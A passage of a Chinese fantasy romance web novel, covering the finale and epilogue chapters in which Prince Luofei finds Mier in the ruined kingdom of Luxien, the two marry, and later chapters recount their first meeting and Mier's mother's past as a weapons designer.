洛斐只是往里望了望,见一片漆黑后,便想着要不要直接转身离开。 维伦大概不会现在将米尔带到这里来,一是此地显目,洛斐只是稍稍寻找便能找到,对方也不至于蠢笨至此。二是那么难闻且阴湿的地盘,完全不是人待的地点。 洛斐想着便要转身去其他相对隐秘的地方寻找。结果,洞穴内隐隐约约传来一阵灼热的气息,将洛斐推着往洞穴外走。 洛斐不解地问道:“真的着火了?有人在里面吗” 洞穴内无人应答。 露希恩王国本就千疮百孔,眼下又燃起熊熊大火,洛斐看了眼闪着的火光,换作平时,他定然会出手相助,但现在米尔还没找到,他绝对不能在这里耽搁。 他只好先绕回雷格那边,告知对方火势方向。 转身片刻,洞穴内再次涌来阵阵热气,随之而来的还有断断续续的争吵。 洛斐听见那道熟悉的声音,几乎是下意识往里面跑去。周边的岩壁被大火烤得滚烫,隔着衣料也能感受到那灼热的温度。 洞穴越走越深,原本模糊的视野反而变得清晰起来,轮廓也更加清楚了些。 洛斐一眼便看见,静静站在那束火光旁的米尔,正垂首望着眼前的维伦·赛维恩。 原本正交谈的两人似乎皆有感应般地停止了谈话,而是同时望向入口的洛斐。 “殿下,你怎么来了?”米尔问道。虽是疑问句,但语气却毫无惊奇。 洛斐没着急回答,而是顺手拿起米尔随身带着的佩剑,直直地指向眼前的维伦。 维伦依旧坐着,眼也不抬地说了句,“您还真是阴魂不散,洛斐殿下。” “艾瑟兰王国的责罚看来还是太轻了些,短短的时间便能离开监牢,你知道私自杀害他人性命,又会是什么处罚吗?”洛斐微微用力,横在维伦脖颈处的利刃便染了些许血迹。 米尔见状况不对,洛斐的神色满是厉色,抬手拦他,“洛斐,你先放下佩剑。” “他万一伤你怎么办?”洛斐冷言反驳。 米尔不咸不淡地说道:“不会的,是我主动找的维伦,他要是早伤我,何必等到你来。” 洛斐微微皱眉,原本预设的状况完全不同。染见维伦真的只是坐在一边,便真的收了佩剑,站在米尔身旁,朝维伦狠狠地问:“怎么回事?” 维伦看了他一眼,“你去问米尔。” 洛斐顺势看向米尔,他当然想去询问米尔,询问对方为何不告而别,为何抛弃他,但当着他人的面怎么也不好说。 洛斐想了好一会,才挑了一个相对得体地问道:“米尔,你独自来露希恩做什么,我很担心你,而且你怎么和他在一起?” 米尔将洛斐递来的佩剑放好,随口道:“我来露希恩是为了……一些小事情。至于维伦·赛维恩,他是我无意间碰到的,见他像是要去跳河,便拉着他来了无人的洞穴。” 见米尔主动提起洞穴,洛斐便往四周看了一圈,发现维伦身侧的确燃着点点小火堆,洞穴外看着像是大火,现在来到跟前不过是驱湿的火把模样。 “跳河?”洛斐轻声反问,望着一直垂首的维伦,“你怎么确定他不是奔着残刃卷来的,或是为了博得利益而故意在你面前演戏,毕竟他应当相当熟练。” 方才还能反驳几句的维伦顿时鸦雀无声,论起演戏,论起欺骗,他的确在米尔面前无法否认。 “维伦,艾瑟兰的律法,你不会不清楚,如果执意纠缠,你毫无利益可得。”洛斐语气郑重地开口:“你不为自己着想,也要为老赛维恩公爵,或是你哥哥安铎想想。” 洛斐话音刚落,维伦像是被特殊字眼刺痛,猛地抬头,朝两人喊道:“我能有什么办法!我花费数年,费尽心力,金钱和权利,我全部努力得到,但哥哥的病依旧不好,没有办法。我怎么可能不知道残刃卷是什么?” “就算它是武器图纸又如何,只要他能治好哥哥的病,那便值得。”维伦坐在一旁,缩着身体,“我和哥哥一同长大,我怎么能接受他悄无声息地离开。” “那是艾琳娜夫人的物品。”洛斐懒得和他辩解,只是淡淡地回答:“哪怕它是良药,你也要告知米尔才对。” “而不是抢本该属于米尔的物品,扣留北城援助物资,让无数子民挨冻受冷。” 洛斐本就厌恶那些仗着爵位和权利作恶的人,更何况是维伦这种——靠着他和米尔一点点帮助才走到今日的人。 米尔叹口气,也跟着说道:“我想,你哥哥也不想你做如此恶劣的事情为他治疗,如果你真的为他好,便留些日子陪陪 他,而不是寻死来缓解心中的无力。” 米尔说完,便牵着洛斐的手腕往洞穴出口走去,劝说至此,维伦在身后露出什么样表情,他都不关心。 洛斐望着米尔的黑发,张张嘴,终归是未问出口,而是反手绕了绕他的手心。 米尔肩膀微微一动,回头笑着问他:“殿下,没有其他要问我的吗?” 洛斐见马上便要离开洞穴,才小声说道:“你还知道有问题?” “什么?” 洛斐快走几步,同米尔并肩走着,偏头看他,语气里压着一层委屈,“你就没什么跟我解释的?” 米尔愣了愣,嘴角弯了弯,问道:“你先问,我才能回答,不是吗?” 也许是露希恩的潮湿天气作祟,洛斐听米尔如此回答,他恨不得将所有话全部抛出,好好地问问米尔。 “你为什么独自跑来露希恩王国,却不带着我,我们明明一早便说好了,任何事情都会一起来。” 洞穴外的夜幕压得极低,洞穴内的火光还在烧,将天边染成一层暗橘色。米尔伸了伸腰,“那日,凯勒布告诉我残刃卷兴许在露希恩,我便想着来寻找。” 洛斐刚想回答,余光见米尔的衣摆沾着零星木屑,抬手替他拍了拍,语气不满,“我知道你是为了残刃卷来的露希恩,不然也不会找到你了。” “我是问你为什么不带我来露希恩。”洛斐说完又觉得语气重了些,转而软了下来,“至少告诉我,你要去的地方。不至于你不辞而别后,我只能靠猜测和预想盲目寻找你。” 米尔走在他身旁,微微抬眸看向他,“我原以为用不了多久便能回去,没想到会拖到现在,让你担心了,抱歉。” “你没事就好。”洛斐借着皎洁的月光,将米尔仔仔细细地看了一遍,随口问:“你找到残刃卷了?它现在哪里?” “找到了。”米尔缓缓地转了一周,好让洛斐看清他的状况,“在露希恩王国城堡旧址。” “长什么样子?”洛斐抬手扶正他身体,把人定住了。 米尔想了想,一边朝洛斐带的路走,一边说道:“大概带着露希恩花朵上面的露珠,沾着青草的芳香,兴许还有些泥土的气息。” 面对他们寻找那么久的物品,米尔的话语太轻了,洛斐下意识将那些话归结于玩笑话,肃然地开口:“我是认真询问你的。” “我也是认真回答你的。”米尔见眼前的洛斐突然不动了,只是直直地望着他,笑着说:“原本残刃卷便只是我母亲的旧物,算得上她的作品合集,只是是其他人的贪婪,让它失去了原先的价值和意义。” 洛斐转身盯着米尔的眼眸,叹了口气,问道:“你把它放在哪里了?” “殿下想要看一看?”米尔补充了一句,“你陪我寻找残刃卷,你想知道在哪里也很正常。” “我不在意残刃卷真正在哪里。”洛斐看着他,“我只在乎你有没有在瞒我,是真的找到残刃卷了,还是只是拿这个当理由,等会又离开了。” “不骗你。” 61. 爱你(完结) “不骗我?”洛斐牵着他手腕,躲避着周边杂草,话里有话地说道:“你每次都是如此搪塞我的。结果离开得比谁都要快。” “你告诉母后父王,偏偏不告诉我。”洛斐一想起,他身为米尔伴侣的他,得知对方的消息,竟然要如此曲折,就难免懊恼,“你也不想一想,我怎么可能会那么放任你独自离开。” “我知道你兴许会来找我。”米尔想了想,看向洛斐的腰间,挑了挑眉,“你腰间的那把折刀不就是我留给你的线索吗?” 洛斐下意识摸了摸那折刀,干脆地抽出来递给米尔,皱着眉道:“你将它丢给我,也不怕遇到危险,无法对付。” “殿下熟悉艾瑟兰的每一寸土地,我对生长的地方当然也不至于陌生。”米尔看了他一眼,“况且,这片先前的露希恩圣地不会有太多的危险。” 洛斐微微颔首,“如果不是维伦那家伙突然出现,这里的确无毫无危险。” “米尔。”洛斐忽然停下脚步,偏头看向米尔,“那孩子是一个人回去的,我不太放心,要去看看。” 米尔愣了愣,将信将疑地看向身旁的洛斐,犹豫地问道:“……谁的孩子?” 洛斐也跟着皱了皱眉,不解地回答:“自然是当地……” 话至一半,他望着米尔那副诧异的神情,微微抬手,扯着对方的手臂将人带到身边,语气松松的,“当地人的孩子,很勇敢也很聪慧,能成功找到你一半都是他的功劳。” 米尔顺着他的力道偏了偏身,也知道刚才的话有些不对,讪讪地开口:“的确应当去看看。” 露希恩的旧地比洛斐来时见到的要更加静谧,微弱的月光将那些倒伏的房屋和墙壁照射得格异常显眼。 洛斐带着米尔来到算是此地顶端的山坡,环视一周,一眼望见眼前洼地里垂首玩耍的诺尔。 洛斐先是轻轻咳了咳。 洼地里的诺尔立刻直起身,放下手中的泥块,警惕地望向山坡上的陌生人。 夜色浓黑,他怎么也看不真切。 “……你们是谁?”诺尔顺手拿起一旁最大的泥块。 米尔见小家伙的谨慎性极高,微微垂眸。洛斐则是跳下了山坡,朝着洼地那边走去,“诺尔,你在做什么,你什么时候回到枢纽的,雷格先生呢?” 诺尔见洛斐缓缓走来,先是微微一怔,而后扬了扬嘴角,“在玩泥土,天还没黑得彻底,我便到家了,至于雷格,他去那边捡东西了。” 诺尔规规矩矩地回答着,余光看见洛斐身后还站着陌生人,顿时又要防备起来。 洛斐也跟着偏头看向米尔。 米尔向来不会在这种场合局促,按他的性子,见到任何人都会得体地率先开口,可现在只是垂首站在一边。 洛斐微微蹙眉,喊他,“米尔。” “来了。”米尔微微弯腰,手臂撑着膝盖,视线和面前的小诺尔齐平,笑着说:“诺尔,你好。我是米尔·韦恩菲尔德,谢谢你帮他找到我。” 米尔抬眸看向洛斐,小诺尔原先的警惕渐渐地消散,抿了抿唇,略微羞怯地开口:“没关系,是我的……荣幸。” 诺尔说着便跑向雷格的房屋,抬手要去开门,朝身后的洛斐和米尔说道:“雷格常常在夜晚去那边,或湖边捡些能用的物品。我经常在他门前的洼地玩,他便给了我钥匙,请进。” 诺尔熟练地将门打开,微微移开,让洛斐和米尔先进,“他嘱咐我要及时给你们开门。” “诺尔,你辛苦了。”米尔抬手摸了摸他脑袋,称赞道。 原先还仿佛拿着武器小战士的诺尔,现在只是微微抬眸看向米尔,问道:“你是露希恩王国的人吗?” “是的。”米尔干脆利落地回答,垂首看着诺尔一脸骄傲的模样,“你很聪明。” 诺尔不好意思地揪着衣摆,雀跃道:“因为你的眼睛是黑色的,头发也是,母亲说露希恩王国的人拥有浓黑的瞳孔和眼睛。” 洛斐坐在一边,托着腮,安安静静地望着他们,听诺尔兴致勃勃地说完,弯了弯眼睛,“诺尔,明日和我们一起去其他地方转一转?” “好!”诺尔急忙开口答应,而后忽然想起什么,偏了偏头,看了眼远处的房屋,又闷闷地开口:“不用了,我还要留下来陪伴母亲,等待我的父亲和哥哥。” 洛斐直起腰,下意识看向身旁站着的米尔,对方原先松弛带笑的神情顿时微微一动。 洛斐连忙打断对话,转移话题道:“那我们也不久待了,好吗米尔?你不知道,我和母后……母亲父亲闹得很不愉快,我要是不将你带回去,他们大概不会理我。” 米尔一时未讲话。 诺尔见气氛不对劲,连忙坐在一边去玩雷格的猎枪。 洛斐的视线移向米尔,最后依旧犹豫地问了句,“那你……会跟我回艾瑟兰吗?” “当然。” “你特意来寻找我,我怎么会抛弃你。”米尔看着他,“你没来之前,露希恩的每一寸土地,我都看了一遍。” 洛斐抿了抿唇,看了眼在旁边认真玩猎枪的诺尔,走到米尔身旁,压低声线,“要不要劝露希恩余留的子民离开,或是搬去更适合居住的地方,而不是守在这里。” “他们要等的人还没回来。”米尔回答。 洛斐叹了口气,“你知道的,在十年前的战争存活,他们回来的可能性极小,说是毫无可能也不为过。” 米尔看向前方,“殿下,日复一日的等待会成为习惯,思念的人不回来,他们无法离开。” 洛斐顺着米尔的目光看去,诺尔正躺在床铺上面,微微侧着脑袋,睡着了,先前玩着的猎枪已经挂回原地。 洛斐看了一会,拿起毛毯给他挡着夜风,朝米尔说:“那我们不劝说他们,给他们拿些其他物品,好吗?是以你我的名义。” 米尔还没来得及回答,屋外传来一句喊话。 “给谁拿东西呢?” 雷格将带来的袋子放在门外,拍了拍手心的灰尘,推门进了屋,见到洛斐身旁的米尔时只是微微诧异,而后反应过来,冲他们微微颔首,“你们好。” “你好。”洛斐和米尔同时朝对方问好。 雷格将毛毯盖在诺尔身上,转身望着米尔,说了句,“洛斐先生回来得还真快。” “是的。”洛斐扯了扯嘴角,拉着米尔手腕,向雷格介绍道:“雷格,这是米尔·韦恩菲尔德,我的伴侣。” 雷格倒水的动作一顿,愣了片刻,而后笑着回答:“是吗?你们很是相配呢。” 洛斐笑得更明显了,连身旁的米尔也微微垂首扬了扬嘴角。 雷格笑着看了他们一眼。 “我听洛斐先生说,你们明日便要回艾瑟兰?”雷格说着顿了顿,继续补充道:“你们不能久待,的确有些遗憾,但不用给我们送物品,真的不用。” “只是些琐碎的东西,举手之劳罢了……”洛斐还想继续劝说,无法让他们离开,只是送些能改善生活的物品也不行吗? 米尔拦了拦他,“雷格先生,是我很想帮你们,只是……帮忙也不行吗?” 刚才还直言拒绝的洛斐顿时不说话了,片刻后叹口气,抬眸望着米尔,声音软了下来,“那谢谢你们。” “我的荣幸。”米尔笑着答道。 次日清晨,诺尔和雷格已经站在门口,早早地等待他们。 诺尔揉了揉眼睛,伸手抱了抱洛斐,又紧接着抱了抱米尔,那点不舍在孩子身上便是天大的事情。 他身后的雷格朝洛斐微微躬身,算是道谢和告别。 洛斐原以为可以启程,结果,一直没讲话的雷格忽地抱着米尔,跟对洛斐的感谢不同,他对米尔,多了些莫名的慈爱。 洛斐没有急着催促,而是站在一边安静地看着他们拥抱,听着雷格朝米尔说了句什么,声线压得很低,洛斐只能隐约听见一些只言片语。 “好久不见,殿下。” 洛斐愣了片刻,了然地笑了笑,等待他们彻底分开后,才一同上了回艾瑟兰的马车。 洛斐偏头望向米尔,他正撩起车帘,露希恩的轮廓在那条细小的缝隙中一闪而过。 洛斐犹豫了一下,依旧问了句,“真的不多待几日吗?不着急回艾瑟兰。” 米尔放下手中的车帘,微微仰头,不咸不淡地回着:“不待了,还有急事要解决。殿下不是和莱因哈特父王和薇洛希母后闹别扭了吗?” 洛斐想起那日不算融洽的争辩,便叹着气说:“我当时只是有些急切,当然,也有些……气恼。你独自去了露希恩,哪怕是你的故乡,但危险依旧存在,他们居然放任你离开。” “我很感谢莱因哈特国王和薇洛希王后。”米尔拍了拍洛斐的肩膀,“如果不是我用母亲做说辞,国王王后不会让我单独去的,尤其是薇洛希王后,我和她讲了好久。” 洛斐想起她跟薇洛希的交 谈,点了点头,算是明白了。 他父王和母后做事稳重的同时,向来对感情看得重,如果不是艾琳娜夫人的遗愿,他们断然不会让米尔冒险。 “知道了。”洛斐掀开车帘一角,闷闷地应着,“我会向母后和父王道歉的,但是……” 米尔不解地问道:“但是什么?” 洛斐侧头看向他,笑得弯了弯眼睛,“我被责罚的报告你要替我完成。” “……” 洛斐原以为他跟莱因哈特以及薇洛希争论一番,对方绝不会像巡访归来那样迎接他们,便换了条偏僻且不太便利,但快速的小路。 结果马车行驶一半,便被一行人拦住了去处。 洛斐扯着米尔才勉强稳住马车忽然停下带来的颠簸,微微蹙眉,谁会大张旗鼓地拦人道路。 洛斐掀开车帘,微微抬眸看向那行人,一眼便望见站在最前面的埃迪。许久未见,对方显然过得相当愉快,气色也极佳。 “埃迪。”洛斐喊了句。 米尔也跟着微微探着脑袋,看向埃迪。 埃迪见成功接到他们,也微微松口气,得体地微微弯腰,“好久不见,洛斐殿下,米尔大人。” 莱因哈特和薇洛希分别在两条大路等待,皆是未等到他们,埃迪忽然想起这条小路,一路带人跑了过来,终于是将人成功接到了。 因为担心而急忙去接人的莱因哈特和薇洛希看着灰头土脸的两人,也不着急生气,也不再指责和批评,只是问清艾琳娜夫人的残刃卷是否解决妥当,便催着他们去休息。 当然,免不了成堆的报告。 米尔的卧房依旧在城堡最偏僻的角落,洛斐劝不动也习惯了,现在还发现了不多的优点——至少夜晚时安静些。 洛斐窝在椅子里,望着米尔新放置的绿植株,刚想要碰一碰,便被一旁认真喂小黑的米尔喊住,“殿下,不要乱动它们。” “我只是想稍微培养它们。”洛斐收回手,反驳道。 米尔不动神色地说道:“你培养的那些都已经枯萎了。” 洛斐自知破坏了米尔不少株绿植,便不再追着反驳,而是起身望着他,询问:“你说我们婚礼时,邀请谁来参加呢?” 自从到了春日,洛斐对他们婚礼的设想便一发不可收拾,从现场的布置和装饰,到何时何地,甚至到了现在的人员邀请也在他的准备中。 洛斐托着腮望向米尔,笑着说:“洛缇会来吗?她兴许……” “洛缇在诺薇拉王国查看最新的地穴情况,恐怕不能到场。”米尔淡淡地回答。 洛斐顿时直起腰,“那埃迪和凯勒布公爵总会来的,他们现在应当不再忙着游历了。” 米尔看了眼他,“凯勒布最近在重新装饰城堡,应该也无法到场。至于埃迪,你如果能将他们分开,那么他也许能来参加。” 洛斐略微用力地点了点头,“卡斯弗医师,他和德安导师总不能也要装饰城堡?” “他们不用装饰城堡。”米尔想了想,开口:“但卡斯弗医师需要定期闭关钻研医术,而德安导师正在和玛格特享受旅途。” 洛斐不甘心地说道:“莫里斯骑士,克兰德公爵,科尔。” “北城的道路抢修,子民也正在试着适应生活环境,事务繁杂,他们应当都无法参加。” 洛斐终于放弃了,随手把玩米尔给他的折刀和祈福绳,倚着椅背,无奈地问米尔,“那还有谁能参加我们的婚礼,莱因哈特国王和薇洛希王后吗?” 米尔摸着小黑的脑袋,认真思索片刻,“国王和王后的确能来参加。” “……” 洛斐有气无力地看向米尔,“我只是想要让我们的婚礼得到更多人的祝福,而不是孤零零的,毫无意义可言。” 米尔看着洛斐那失魂落魄的模样,“怎么会没有意义,尽管他们无法到场,但祝福也不会缺席。况且,婚礼的意义在于相爱。” “我爱你,你同样爱着我。”米尔望着他,“那么婚礼便拥有意义,不是吗?” 洛斐看着米尔,那双黑眼眸在照射而来的光线里更加清晰,像是未说完的话都尽数收集起来。 他扯了扯嘴角,“嗯,有意义。” . 春末。 艾瑟兰王国独苗王子举办婚礼,宾客满堂,隆重盛大,子民们争先恐后地祝福。 王国如此热闹,是第一次。 (全文完) 62. 风起 “洛斐王子?” 少年站在训练场中间,身量还未完全长开,但握剑的姿势却已经有了些样子。 一剑挥出去的时候扬起点风,衣摆也沾染些泥土。他将训练服的袖口微微卷起,日光将他的影子拉得笔挺。 见有人来了,洛斐干脆地收好剑,微微侧身望着气喘吁吁跑来的埃迪,“怎么了?” 埃迪顺势拿着对方递来的剑,语气断断续续地开口:“莱因哈特国王和薇洛希王后让殿下去招待贵客,您真的不去看看吗?” 洛斐喝水的动作一顿,望向一旁垂首等待的埃迪,“不去,父王母后惩罚我,要我专心训练,我怎么能跑去招待他人。” 埃迪稍稍抬眸看向他。 话说得倒是极其好听,可那神情分明是不服气。 况且,那些所谓的贵客,要么是他国照例派来拜访的使者,要么是说着冠冕堂皇话语的贵族。 他不仅要保持着身为王子的礼仪,还要时不时地回答着对方王国或是家族的优点。 洛斐见得太多了,实在没有什么意义可言。 埃迪握着剑柄顿了好一会,想起莱因哈特和薇洛希的嘱咐,犹豫地开口:“但是国王和王后……” “好了,埃迪。”洛斐伸了伸腰,剑微微抬起,不紧不慢地转了方向,横在他们中间,挑眉道:“来,让我看看埃你的剑术长进了没有?” 埃迪看着眼前与他年龄相仿的少年,对方笑得极其坦荡,说要比试一番,大约只是不想让他去接受国王和王后的责难。 埃迪微微颔首,看着眼前执意要与他比试一番的小王子,语气恭敬,“好的,殿下。” 洛斐的剑术在同龄人中算得上出挑,但总是收着点力道,尽管他性子中带点傲气,但剑术或骑术各方面总是难掩柔劲,少些凌厉。 埃迪侧身避开洛斐的剑,剑身横过来挡在他们中间,时不时地穿插对方的漏洞来进攻,还要继续询问:“殿下,真的不用……回复莱因哈特国王和薇洛希王后的话吗?” 洛斐收了剑,随手放在一旁,语气带着隐约不耐,“埃迪,我知道你是为我好,但是如果再说下去,我们连朋友也做不成了。” “而且,你向父王母后禀报还要遭受责备,回去做什么呢。” “别国的……” “好了,埃迪你快去休息。”洛斐打断埃迪的话,甩了甩手腕,微微抬头望着强烈的日光,视线又顺势望向远处—训练场旁的树丛微微晃动着,隐隐约约传来讲话音。 洛斐看着看着便皱了皱眉,怎么总是觉得有道视线正盯着他。 …… 米尔见那人看了过来,不慌不忙地抬了抬手臂,将那树丛拨得严密些。 一旁的艾琳娜见他的小动作不断,微微偏头看向他,轻声问道:“怎么了?宝贝。” “没什么,只是有些累,母亲。” “累了?”艾琳娜顺着他刚才的视线望去,恰好看见扬剑起势的洛斐。 在一旁和侍从嘱咐的薇洛希望见他们同时看向训练场,笑着解释,“那孩子总是不听话呢,一再嘱咐他是贵客拜访的日子,却非要视若无睹,忽视我和他父王的话,一直在赌气。” “赌气?”米尔抬眸问道。那略带欢快的姿态可不像在赌气。 艾琳娜弯腰查看那些薇洛希为她培育的艾瑟兰独特植株。 薇洛希笑了笑,一边往前走着,看着周边的花草生长状况,一边回答:“身为王国的王子,却当众将茶水泼在贵族的脸上,惩罚他也是应当的,不然怎么能担当起王国的责任来。” 米尔认真听完,视线又看向训练场,下意识开口道:“也许是生气极了做的呢?” 薇洛希愣了愣,而后笑着转身看了眼米尔,“你说得对,但就算是再生气也不该失了分寸,身为王子,也应当多想一想再行动。” 米尔笑着颔了颔首,“是的。” 艾琳娜目光从花草中移开,静静地看向一旁挂着得体笑意的米尔。 薇洛希见气氛奇怪,朝米尔慈爱地说道:“米尔要不要与洛斐说说话?按照关系,他应当喊你哥哥。” “你们是不是还不认识?” 米尔些许慌张地后退着,依旧回答道:“是的,……不认识。” 薇洛希话音刚落,偏头看着专心观赏艾瑟兰春景的艾琳娜,“要是你们早些来便好了。” 艾琳娜听见对方语气里带点抱怨,侧身凑近了些,语气放软了,“我的不对,我这些年实在忙碌,不像先前那般自由。但真的是一有时间就来拜访了。” “以后我会常来的。” 薇洛希拍了拍她的手臂,看着她那宛如黑葡萄的黑眸,笑着说:“我明白也记住了,你说的会常来。” “嗯。” 艾琳娜的目光重新落回米尔身上。米尔自知他母亲的想法向来独特,下意识往后躲着,警惕地问道:“怎么了?母后。” “薇洛希说得很对,你不是也在看他吗?你平时便不爱交朋友,相互认识也不是一件坏事。” 米尔微微拧眉,轻声反驳,“我只是在看艾瑟兰王国的……训练场。” 薇洛希转身看了一周,默默地抬手指向对面,“米尔,那边是艾瑟兰的训练场。” 艾琳娜走向米尔身旁,微微踮起脚,声线压低,“不如给你们订个婚约吗?” 为他治疗的医师也曾说过类似的话,大约像是那种带来喜气的玩笑话,现在又被艾琳娜顺势提了起来。 米尔怔了怔,不解地看向艾琳娜,显然也预料到了他母亲会如此不着调,垂首回了句:“我先回去休息了。” 说完他又停了片刻,转身回到薇洛希面前,“失礼了,薇洛希王后。”

米尔说这话时不再是那种得体疏离模样,而是带些王子傲气。 薇洛希怔愣了一瞬,朝身旁的侍从摆了摆手,笑着说道:“当然,我让侍从带你回卧房。” “好的。” 薇洛希望着他离开的背影,拉过正忙着品尝点心的艾琳娜,“米尔是不是生气了?你的玩笑话也太过了些。” “生气?”艾琳娜放下手里的点心,看了眼薇洛希,又望向走远了的米尔,“不是的,它不会为了这些事情而气恼。” “而且,我真的觉得他们也许是天生一对呢。”艾琳娜认真地说道:“我的占卜很厉害的。” 薇洛希偏头盯着她,带着疑虑。 艾琳娜索性环着她的手臂,推着她往前走,“好了,专心地陪我转一转,再见面时不知道要多久了。” 薇洛希顺着她的力道往前走着,“好,陪陪你。” “殿下,洛斐殿下……” 洛斐听着熟悉的声音,猛地回神,一睁眼便看见横在眼前的利刃,下意识后退,“埃迪,你要谋杀我吗?” “抱歉,我看殿下一直望着同一个方向,有些心慌。”埃迪垂首回答。 “不用慌张,我方才只是……走神了。”洛斐看着他,“埃迪,你先去歇着吧。” 洛斐望着那边不断晃动的草丛渐渐平稳。 好像不是养尊处优的贵族,长得倒是好看的…… * 洛斐知道的不算多,对艾琳娜夫人的认识,仅仅知道她游历尚未结束,回露希恩后便遇到了战争,也因此而去世。 对米尔的认识要更具体一些,他记忆中的第一次见面大概是在那日的议事厅。 日光正好,洛斐只是刚刚巡视完回城堡,结果便被被埃迪忽然告知来了贵客,大约是莱因哈特和薇洛希的旧友之子。 洛斐猜到了会是露希恩王国的那位王子,想了想,还是先去了议事厅拜访,不想真的让对方感到怠慢。 结果,议事厅的门还未打开,门内的谈话音便顺着门缝传了出来。 “米尔,身体好些了吗?” 是莱因哈特一向直白的问话。 “好多了。” 声线清冷,语调不高。 洛斐动作一顿。 薇洛希也隐隐约约地开口:“你在艾瑟兰好好待着就好,有问题便去找洛斐,如果按照你母亲的话来说,你们是一样的。” 洛斐微微皱眉。 一样的? 他怎么会和对方是一样的? 还没等到洛斐仔细思索,门便从里面开了,一阵香气扑面而来。洛斐下意识开口,“你……” 那人却垂着头,看不清一点神情,径直从他身侧走了过去,连一声招呼也没应。 洛斐抬眸望向离开的背影,挑了挑眉。 果然长得很好看。 63. 艾琳娜·韦恩菲尔德 艾琳娜·韦恩菲尔德曾经将她的人生大致分为三阶段。 一是那段被称呼为艾琳娜小姐的日子。 她出生于露希恩王国偏僻的小地方,特意强调偏僻和小地方,是因为那地方真是出奇得小,一条弯弯的河流,一条曲折的道路以及仿佛濒死萤火虫那样的小村庄就构成了艾琳娜·韦恩菲尔德的家乡。 尽管人烟稀少,土地面积也不大,但胜在居民团结。 日子一久,连争吵都极少发生。 恰好,艾琳娜的父亲又是算得上远近颇有名气的人,不仅是因为年轻时外出经商积累了些许财富,更重要的是,他心肠极好。 小艾琳娜自小耳濡目染,哪怕脾气热烈些,胆子大些,却也生得一副讨喜的性子,更不用说相当出挑的相貌。 周遭的人们提起她,总是带着笑意的,连年幼的孩子也常常给她那些珍爱的糖果。 如果艾琳娜要提起最愉快的日子,那必然是在露希恩的那段年幼的时光。 露希恩王国尚且在慢慢蓄力成长的时期,人人都期盼着,要望子成龙,望女成凤。艾琳娜的父母却只希望她仔细地观赏些家乡的花草树木。 艾琳娜也的确如他们设想的那样度过了童年,无忧无虑且自由自在。 这样的日子在她二十岁时消失得一干二净。 那时,露希恩依旧只能算是实力渐渐变强的偏僻国家,让人眼前一亮的只有繁盛的花草,一点风吹草动都能引起周边居民的注意。 当然也免不了汐莱纳希的武器大师前来拜访的消息。 艾琳娜听闻小伙伴全都去围观那远近闻名的武器大师,便跑到忙着清算账单的父亲身旁,问道:“父亲,我想去小河流边看看表演,好吗?” “表演?” “我也不知道具体是什么呢。”艾琳娜看了看远方被嘈杂惊到乱飞的小鸟,思索了片刻,歪着头说:“但大约是很有趣的表演。” 父亲看了她一会,而后便去告知她母亲,回来后便挥挥手,让她早去早回,叮嘱她不要逞英雄,不要主动惹事。 艾琳娜笑着微微颔首,去看了自出生以来,最为奇特的一场表演。 旧铁的光泽覆在每一把刀面上,刀刃全都锋利得不像是摆设,那尊小型火炮热烈得仿佛能惹起激情。 那名来自汐莱纳希名为莱恩·索恩的武器大师,运用武器就像是随手摆弄餐食那样简单。 艾琳娜看愣了,盯着那些一动也不动。 常年在外奔波,教授武器知识而疏忽陪伴孩子的莱恩,见艾琳娜这幅好奇的模样,笑着朝她招了招手,“孩子,来,你来试试。” 艾琳娜思索了好一会,想起父母的嘱咐,想起她只是来看看的目的。但任何人都无法打败剧烈的好奇心作祟,更无法忽略周边一句一句真诚的鼓励。 艾琳娜忐忑地走到莱恩跟前。 那些各式各样的小型武器就像是早就认识她一样,在她手中全都服服帖帖。 尽管全程算不上特别精通,但在莱恩看来,对于十岁左右的少女来说,艾琳娜的确是位有天赋的。 那日傍晚,艾琳娜是跑着回家的——她太想和父亲母亲说说话,那些关于武器的想法就像是怎么也关不上的泉水,她忍了一路,到了门口却怎么也忍不了了。 “父亲,母亲,我今……” 艾琳娜话音未落,视线下意识移向一旁的莱恩,尽管分别没多久,但对方在她家中莫名现身,她依旧敛起笑容,谨慎地看着他。 父亲母亲在一旁静静地望着她,表情带着浅浅的笑意。 他们一直情绪不浓,艾琳娜向来分辨不清他们的情绪,但知道那笑意不纯粹,至少带些对她惹事的责备。 莱恩微微弯腰,撑着膝盖,视线和艾琳娜相平,笑着问她,“你要不要和我一同去其他地方游历?” 很多年后,艾琳娜还是对她师傅颇有怨言,那话问得像是是否用餐,十岁的孩子又能如何回答。 当然,这是借口。 无论是十岁的艾琳娜还是四十岁的艾琳娜,她大概都是相同的回答——“是的,我想去。” 自从,艾琳娜小姐的称呼就变了,变成了使用最为短暂的称呼——艾琳娜匠师。 艾琳娜开始了她的游历生活。 莱恩·索恩完全不像家乡那些人说的是个骗子,正因为如此,她才真正地感到由衷的疲惫压了下来。 不同于在露希恩时的自由自在,莱恩对她的要求极高。 她不是谦逊的性子,她自知在关于武器,她天赋异禀。在夏塞林的那间莱恩教授武器知识的小屋里,和她一同学习知识的同伴总是慢她一些。当然,莱恩也从不吝惜对她的称赞。 于是,无论多么高的要求,艾琳娜都欣然接受。 莱恩也常常带她游历各地,尽心尽力地教授她武器的结构,材料以及他的一切毕生所学。 艾琳娜年纪大一些后,她的性子也跟着稍稍稳当了些,学得依旧一如既往得快,年纪轻轻便能替代莱恩去教导其他学生。 各地的游历她也能独当一面,对人们问的问题解答全面,唯一的缺点,也许是认识的人繁杂了些。 艾瑟兰王国的王子,汐莱纳希的王室,甚至连一些学院的导师也成了旧相识。跟着她真正学习武器的学生倒是不多,倒不是无人前来拜访,而是她自认,主张自由自在的性子也无法培养好真正的大师。 总是将自由放在嘴边的人却去了最为封锁的城堡,莱恩无法理解也不敢相信。 艾琳娜认识雷纳德以前,她也不相信,她会甘愿留在城堡——这样拘束的地方。 从认识雷纳德开始,艾琳娜便开始使用那最为人熟知的称呼,开始了那段被称呼为艾琳娜夫人的日子。 她和雷纳德是二十岁时相识。莱恩应露希恩王室的邀约,带着她去给王子们传授知识,艾琳娜几乎一眼看见了最中间的雷纳德。 她本就不是掩饰的性子,协助师傅的过程中,自然就多了些照顾。 如此暧昧,便一直延伸至露希恩的国王病逝,雷纳德顺理成章地成为新的国王,而艾琳娜也答应了他共建王国的请求,成为了露希恩的王后。 露希恩王国的确在他们的引领下,一天比一天好了起来,更准确地来说,是在艾琳娜所绘制的武器图纸引领下,迎来了最为繁盛的时期。 但艾琳娜对待在城堡的日子提不起兴致,逗逗米尔算是她唯一的乐趣。显然,雷纳德也如此,除却钻研强国的武器,他别无他求。 艾琳娜想了想,提着米尔便开始了人生第二次长期游历。 